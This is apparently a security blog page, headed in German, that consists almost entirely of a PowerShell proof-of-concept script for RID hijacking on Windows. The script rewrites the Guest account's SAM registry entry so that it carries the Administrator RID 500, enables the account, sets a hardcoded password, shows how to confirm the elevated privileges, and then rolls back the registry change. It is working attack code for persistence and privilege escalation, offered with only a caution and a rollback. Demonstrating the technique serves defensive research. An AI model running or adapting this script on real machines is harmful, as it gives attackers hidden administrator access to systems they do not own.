RID Hijacking: Wie Gäste zu Admins werden

      <#
	Date 10/24/2018
	Author: Kevin Joyce
	Description: RID Hijacking - runs PowerShell as SYSTEM and modifies a registry value associated with the Guest account. Sets the RID to 500 (Administrator), enables and sets the password for the Guest account. The objective of this script is to be a proof of concept for a RID Hijacking persistence technique. This technique allows an attacker to use the Guest account with administrative privileges.
	
	USE WITH CAUTION. STEALTHBITS TECHNOLOGIES, INC. IS NOT RESPONSIBLE FOR ANY DAMAGES CAUSED BY ATTEMPTING TO USE THIS SCRIPT. IT IS POSSIBLE TO CORRUPT THE GUEST ACCOUNT IF SOMETHING GOES WRONG. IT IS SUGGESTED THAT THIS BE DONE ON A VIRTUAL MACHINE AFTER A SNAPSHOT HAS BEEN TAKEN.
	#>
	

	#set path of target key
	$key = 'HKLM:\SAM\SAM\Domains\Account\Users\000001F5'
	

	#get content of target value
	$binaryValue = (Get-ItemProperty -Path $key -Name "F")."F" 
	

	#exports contents of current registry values, allows to roll back if corruption occurs
	reg export 'HKLM\SAM\SAM\Domains\Account\Users\000001F5' .\export.reg
	Write-Host 'Registry key exported.'
	

	#change guest RID at offset 0x30 to 244 (500) - default 245 - to set the RID back to 501 change $newValue below to 245
	$newValue = 244
	if ($binaryValue[48] -notin (244,245)){
	    throw 'Unknown value set at offset 0x30. Expected values: 244 or 245. Current value: ' + $binaryValue[48] +'.'
	    stop
	} else {
	    $binaryvalue[48] = $newValue
	    Write-Host 'Value at 0x30 set to '  $binaryValue[48]
	}
	

	

	#enable guest account at offset 0x38 to 20 - default 21 - to disable guest account change $newValue below to 21
	$newvalue = 20
	if ($binaryValue[56] -notin (20,21)){
	    throw 'Unknown value set at offset 0x38. Expected values: 20 or 21. Current value: ' + $binaryValue[56]+'.'
	    stop
	} else {
	    $binaryvalue[56] = $newvalue
	    Write-Host 'Value at 0x38 set to '  $binaryValue[56]
	}
	

	#iterate through every position from original value converting to hexadecimal and storing in new variable
	$hexValue = ''
	for ($i =0; $i -lt $binaryValue.length; $i++){ 
	    $hexValue += "{0:x2}" -f $binaryValue[$i]  
		}
	Write-Host 'You are about to change the RID and enable the Guest account. Press enter to continue.'
	pause
	 
	#set value of F to contents of variable
	reg add "HKLM\SAM\SAM\Domains\Account\Users\000001F5" /v F /t REG_BINARY  /d $hexValue /f 
	Write-Host 'Guest account enabled and RID set to 500.'
	

	#set Guest password
	$password = '!Password123!'
	net user guest $password
	Write-Host 'Guest account password set to' $password
	Write-Host ""
	

	Write-Host "Open a command prompt as Guest to see the new RID and privileges associated with the Guest account. Pressing enter will continue the script and roll back all changes besides the password of the Guest account." 
	Write-Host ""
	Write-Host "To run a command promp as Guest, shift+right click cmd.exe and select Run as different user. When prompted enter .\Guest for the username and $password as the password. This will spawn a command prompt window. Once this pops up, enter 'whoami /all | more' to see information about the Guest account. Once complete, you can come back to this screen and press enter to continue."
	pause
	

	#imports exported contents of previous registry keys, rolls back all changes
	reg import .\export.reg
	Write-Host 'Registry key rolled back to original.'
	Write-Host 'Proof of concept complete.'
	pause